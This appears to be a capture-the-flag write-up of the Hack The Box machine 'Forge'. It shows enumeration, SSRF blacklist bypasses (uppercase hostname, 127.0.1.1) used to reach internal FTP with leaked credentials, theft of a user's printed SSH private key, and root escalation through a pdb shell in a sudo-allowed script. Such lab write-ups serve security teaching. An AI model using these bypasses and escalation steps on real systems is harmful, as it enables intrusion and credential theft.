Summary
This was an interesting box, which is centered around a SSRF vulnerability being exploited into reading otherwise unaccessible web pages. Once a foothold has been established however, it is rather straight forward to obtain a root shell.
Foothold
We start out as usual with a nmap port scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-07 09:15 EST
Nmap scan report for 10.129.252.106
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.129.252.106; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds
We have 3 ports open. 21 which is hosting a filtered ftp service, along with port 22 and 80. It is usually a good idea to check for vhosts via gobuster as well when a box is hosting a web application.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ gobuster vhost -u forge.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://forge.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/06/22 22:35:28 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.forge.htb (Status: 200) [Size: 27]
We have found another vhost. Let’s add it to the host file and check out both sites.
The admin page only allows us to access it via localhost. Checking out the upload tab for the main site we see that we can upload images from an url.
If attempt to upload an image hosted at http://admin.forge.htb
we get told the adress is blacklisted.
However, internet adresses are only case sensitive for anything after the domain name, meaning if we submit the url http://ADMIN.FORGE.HTB
it will point towards the same site. Doing this successfully sidesteps the blacklist. If we follow the link we get told the image can’t be displayed since it contains errors. Using curl to get the address instead gives us the HTML code for the admin page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ curl http://forge.htb/uploads/nLqwXj3lfwRHmcIyKutx
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
As we can tell, the page also contains an announcement directory. Let’s take a look through the same functionality.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ curl http://forge.htb/uploads/QEHi5NlzSVWCFpcAqGbc
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
We now have credentials for the ftp service, however we can’t use them to login since the port is filtered. However, ftp services can also be accessed through most browsers with the format ftp://FTP_Username:FTP_Password@Host
. We can use the upload functionality described above to upload the contents of the ftp directory. However, if we attempt to to use the url http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.0.0.1
, we get told it contains a blacklisted adress, most likely 127.0.0.1. If we use another url like http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.0.1.1
we get through though.
1
2
3
4
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ curl http://forge.htb/uploads/06EuoQwcl1WLefV037u5
drwxr-xr-x 3 1000 1000 4096 Aug 04 2021 snap
-rw-r----- 1 1000 1000 33 Jun 22 18:30 user.txt
We now have access to the user users home directory. To get a foothold on the system we can read the contents of their .ssh
folder to get their ssh key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ curl http://forge.htb/uploads/55nxaE6PJgCaI3jCd5kG
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
7Jh1d+jfpDYYXqON5r6DzODI5WMwLKl9n5rbtFko3xaLewkHYTE2YY3uvVppxsnCvJ/6uk
r6p7bzcRygYrTyEAWg5gORfsqhC3HaoOxXiXgGzTWyXtf2o4zmNhstfdgWWBpEfbgFgZ3D
WJ+u2z/VObp0IIKEfsgX+cWXQUt8RJAnKgTUjGAmfNRL9nJxomYHlySQz2xL4UYXXzXr8G
mL6X0+nKrRglaNFdC0ykLTGsiGs1+bc6jJiD1ESiebAS/ZLATTsaH46IE/vv9XOJ05qEXR
...
wS5q+66leUP0KZrDdow0s77QD+86dDjoq4fMRLl4yPfWOsxEkg90rvOr3Z9ga1jPCSFNAb
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
We can now login on the forge machine.
1
2
3
4
5
6
7
8
┌──(bitis㉿workstation)-[~/htb/Machines/Forge]
└─$ ssh -i user_sshkey user@forge.htb
The authenticity of host 'forge.htb (10.129.84.126)' can't be established.
ED25519 key fingerprint is SHA256:ezqn5XF0Y3fAiyCDw46VNabU1GKFK0kgYALpeaUmr+o.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
user@forge:~$
Privilege escalation
Once in, we can run sudo -l
, which reveals that we can run a python script as root.
1
2
3
4
5
6
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
The content of the script can be found below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
The creates a listener on a random local port in the range 1025-65535. Once connected we will be prompted for an admin password which is luckily hardcoded into the script in plaintext. If we give it an input it doesn’t expect it will drop us into a python debugger shell. We can then use the techniques outlinede here to escalate our privileges. The output can be seen below
1
2
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:59884
1
2
3
4
5
6
7
8
9
user@forge:~$ nc localhost 59884
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
If we enter some nonsense input in our netcat listener the pdb shell will open on in the session running the script:
1
2
3
4
5
6
7
8
9
10
11
user@forge:~$ nc localhost 59884
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
shubiduah
1
2
3
4
5
6
7
8
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:59884
invalid literal for int() with base 10: b'fagepn'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system("/bin/bash")
root@forge:/home/user#
Rooted!